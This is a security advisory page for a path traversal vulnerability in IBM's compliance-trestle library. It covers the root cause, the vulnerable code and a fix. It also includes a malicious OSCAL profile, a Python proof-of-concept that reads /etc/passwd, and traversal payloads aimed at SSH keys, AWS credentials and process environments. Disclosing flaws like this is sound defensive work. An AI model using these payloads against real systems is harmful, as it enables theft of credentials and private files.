compliance-trestle CVE-2026-45774
MEDIUMLifecycle Timeline
2DescriptionNVD
Summary
The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.
Three attack vectors confirmed:
- PT-001:
trestle://../../etc/passwd- via trestle:// URI scheme - PT-002:
../../etc/passwd- via relative path in href - PT-003: back_matter rlinks with traversal paths
Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.
Affected Component
Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)
Vulnerable Code
cache.py:175-179 - LocalFetcher (trestle:// URI handling)
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ❌ NO boundary check - .resolve() follows ../
# ❌ NO is_relative_to() validation
# ❌ Result can be /etc/passwd
self._cached_object_path = self._abs_path
returncache.py:194 - LocalFetcher (relative path handling)
# For relative paths (no trestle:// or file:// prefix):
try:
self._abs_path = pathlib.Path(uri).resolve()
# ❌ Same issue - resolves relative to CWD with no boundary check
except Exception:
raise TrestleError(...)_import.py:73-104 - Profile import href resolution
class Import(Pipeline.Filter):
def __init__(self, ...):
# Line 73-83: back_matter rlinks used directly
if self._import.href[0] == '#':
resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
self._import.href = [
rlink.href
# ❌ rlink.href from OSCAL data - user-controlled
for rlink in resource.rlinks
if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
][0]
# Line 104: href passed directly to FetcherFactory
fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)Root Cause:
Path(trestle_root / "../../etc/passwd").resolve()=/etc/passwd- No
is_relative_to(trestle_root)check after resolve TRESTLE_HREF_REGEXdefined atconst.py:253but NEVER enforced (dead code)- Even if enforced, the regex
'^trestle://[^/]'would PASS traversal payloads (.is[^/])
Steps to Reproduce
Prerequisites
pip install compliance-trestle==4.0.2PoC: Malicious OSCAL Profile
# malicious_profile.yaml
profile:
uuid: "550e8400-e29b-41d4-a716-446655440000"
metadata:
title: "Malicious Profile"
version: "1.0"
last-modified: "2024-01-01T00:00:00+00:00"
oscal-version: "1.0.4"
imports:
- href: "trestle://../../../../../../etc/passwd"PoC: Direct LocalFetcher Exploit
#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile
trestle_root = Path(tempfile.mkdtemp())
# Normal usage - stays within workspace
normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json")
print(f"Normal: {normal._abs_path}")
# /tmp/xxx/catalogs/test/catalog.json
# Exploit - escapes workspace
evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd")
print(f"Evil: {evil._abs_path}")
# /etc/passwd
print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")
# Output: root:x:0:0:root:/root:/bin/bashExpected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully
Remediation
class LocalFetcher(FetcherBase):
def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
super().__init__(trestle_root, uri)
# ...
elif uri.startswith(const.TRESTLE_HREF_HEADING):
uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
self._abs_path = pathlib.Path(uri).resolve()
# ✅ ADD: Boundary check
if not self._abs_path.is_relative_to(self._trestle_root):
raise TrestleError(
f"Path traversal blocked: resolved path '{self._abs_path}' "
f"is outside trestle root '{self._trestle_root}'"
)
self._cached_object_path = self._abs_path
returnSame fix needed for relative path handling at line 194.
Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).
Resources
- CWE-22: https://cwe.mitre.org/data/definitions/22.html
- OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
- compliance-trestle: https://github.com/IBM/compliance-trestle
Impact
- Credential Theft via OSCAL Import:
imports:
- href: "trestle://../../root/.aws/credentials"
- href: "trestle://../../root/.ssh/id_rsa"- System Reconnaissance:
imports:
- href: "trestle://../../etc/passwd"
- href: "trestle://../../proc/self/environ"- Supply Chain Attack:
Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
- Dead Code Evidence:
TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere - proves path validation was INTENDED but never implemented.
AnalysisAI
Arbitrary file read in IBM's compliance-trestle Python library allows any file accessible to the running process to be extracted by supplying a malicious OSCAL profile YAML with path traversal sequences in the imports[].href field. Three confirmed attack vectors exist: via the trestle:// URI scheme, via relative href paths, and via back_matter rlinks - all exploiting the same root cause in LocalFetcher. …
Sign in for full analysis, threat intelligence, and remediation guidance.
More from same product – last 7 days
Remote code execution in IBM Langflow OSS versions 1.0.0 through 1.9.1 lets unauthenticated network attackers run arbitr
Remote code execution and authentication bypass are possible in IBM Aspera High-Speed Transfer Server and High-Speed Tra
Authentication bypass in IBM Aspera High-Speed Transfer Server for Cloud Pak for Integration (CP4I) versions 1.5.1 throu
Hard-coded credentials in IBM Controller (versions 11.0.1, 11.1.0, 11.1.1, and 11.1.2) give attackers a static, embedded
Arbitrary code execution in IBM Aspera High-Speed Transfer Server and Endpoint (versions 3.7.4 through 4.4.7 Fix Pack 1)
Share
External POC / Exploit Code
Leaving vuln.today
GHSA-mj4x-vf5c-5xg8